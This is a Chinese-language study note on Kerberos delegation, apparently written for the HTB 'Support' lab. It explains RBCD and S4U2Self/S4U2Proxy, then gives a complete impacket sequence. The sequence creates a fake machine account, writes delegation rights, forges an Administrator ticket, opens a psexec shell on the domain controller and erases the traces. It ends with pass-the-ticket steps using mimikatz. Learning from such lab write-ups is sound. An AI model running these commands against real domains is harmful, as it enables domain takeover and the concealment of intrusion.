用户 -> Web服务器 -> SQL服务器
用户只登录了一次 Web 服务,但 Web 服务需要“代表用户”访问 SQL。
但是正常情况下,用户只持有访问 Web 的 Service Ticket,而 Web 并没有用户密码和 TGT,会产生一个双跳认证(Double Hop)问题。委派机制就是为了解决这个问题。
Kerberos 委派主要有三种类型
- 非约束委派(Unconstrained Delegation)
- 约束委派(Constrained Delegation)
- 基于资源的约束委派(RBCD)

约束委派与 RBCD 中,在服务端和 TGS 交互的过程中,会使用 S4U2Self 和 S4U2Proxy 协议来完成客户端与目标服务之间的认证,这两个协议的使用是连续进行的
- S4U2Self 指的是服务端“伪装成用户”向 KDC 给自己申请票据,这个过程不需要客户在线,得到的是用户到自身的票据
- S4U2Proxy 指的是服务端使用用户到自身的票据申请用户到目标服务的票据
因此,如果能够控制一个允许委派的服务账户,就能通过 s4u 伪造高权限用户票据
RBCD
即 Resource-Based Constrained Delegation (基于资源的约束委派),是 Kerberos 委派机制的一种。
传统委派机制类似于 “机器被允许代理用户访问哪些目标服务” ,由服务端进行配置。而 RBCD 是“目标允许哪些哪些机器代表用户访问我”,由目标机器自己控制
而这种配置的对应属性就是 msDS-AllowedToActOnBehalfOfOtherIdentity
如果能够控制一台机器或修改一台机器的 ACL,就能够通过设置 RBCD,使用 S4U2Self + S4U2Proxy 冒充任意用户访问目标服务
执行 RBCD 攻击可以使用 impacket-rbcd 或 Rubeus
impacket-rbcd 不需要落文件
# 创建可控账户
impacket-addcomputer -computer-name 'FAKE-COMP01$' -computer-pass 'FakePass123!' \ -dc-ip 10.10.10.10 support.htb/support:'Password123!'
# 配置RBCD
impacket-rbcd -action write -delegate-from 'FAKE-COMP01$' -delegate-to 'DC$' \ -dc-ip 10.10.10.10 support.htb/support:'Password123!'
# 读取目标机器的 RBCD 配置
impacket-rbcd -action read -delegate-to 'DC$' -dc-ip 10.10.10.10 support.htb/support:'Password123!'
# 生成 CIFS 服务票据(用于访问文件共享和 psexec)
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.10.10 support.htb/FAKE-COMP01$:'FakePass123!'
#-spn:目标服务的 SPN,cifs/dc.support.htb 对应文件共享服务
#-impersonate:要模拟的用户,这里是域管理员
# 使用票据拿shell
export KRB5CCNAME=Administrator.ccache
impacket-psexec support.htb/Administrator@dc.support.htb -k -no-pass
# 清理攻击痕迹
# 移除 RBCD 委派权限
impacket-rbcd -action remove -delegate-from 'FAKE-COMP01$' -delegate-to 'DC$' \
-dc-ip 10.10.10.10 support.htb/support:'Password123!'
# 删除创建的假机器账户
impacket-addcomputer -computer-name 'FAKE-COMP01$' -delete \
-dc-ip 10.10.10.10 support.htb/support:'Password123!'
Rubeus 需要上传 exe,在目标机中获取信息,具体操作在 wp 中已经提及
票据传递攻击
一种 Kerberos 攻击技术,简单来说就是偷票据直接登录,主要流程是
- 从内存提取票据,这个过程可以使用 mimikatz 或 Rubeus 等工具
- 导出票据为.kirbi 格式
- 注入当前会话,冒充用户访问服务
kerberos::ptt ticket.kirbi
这个步骤可以使用 impacket 将 kirbi 转换为 ccache 格式,然后用 psexec 进行
转换的原因是 kirbi 是 windows 的原生格式,没办法跨平台使用

浙公网安备 33010602011771号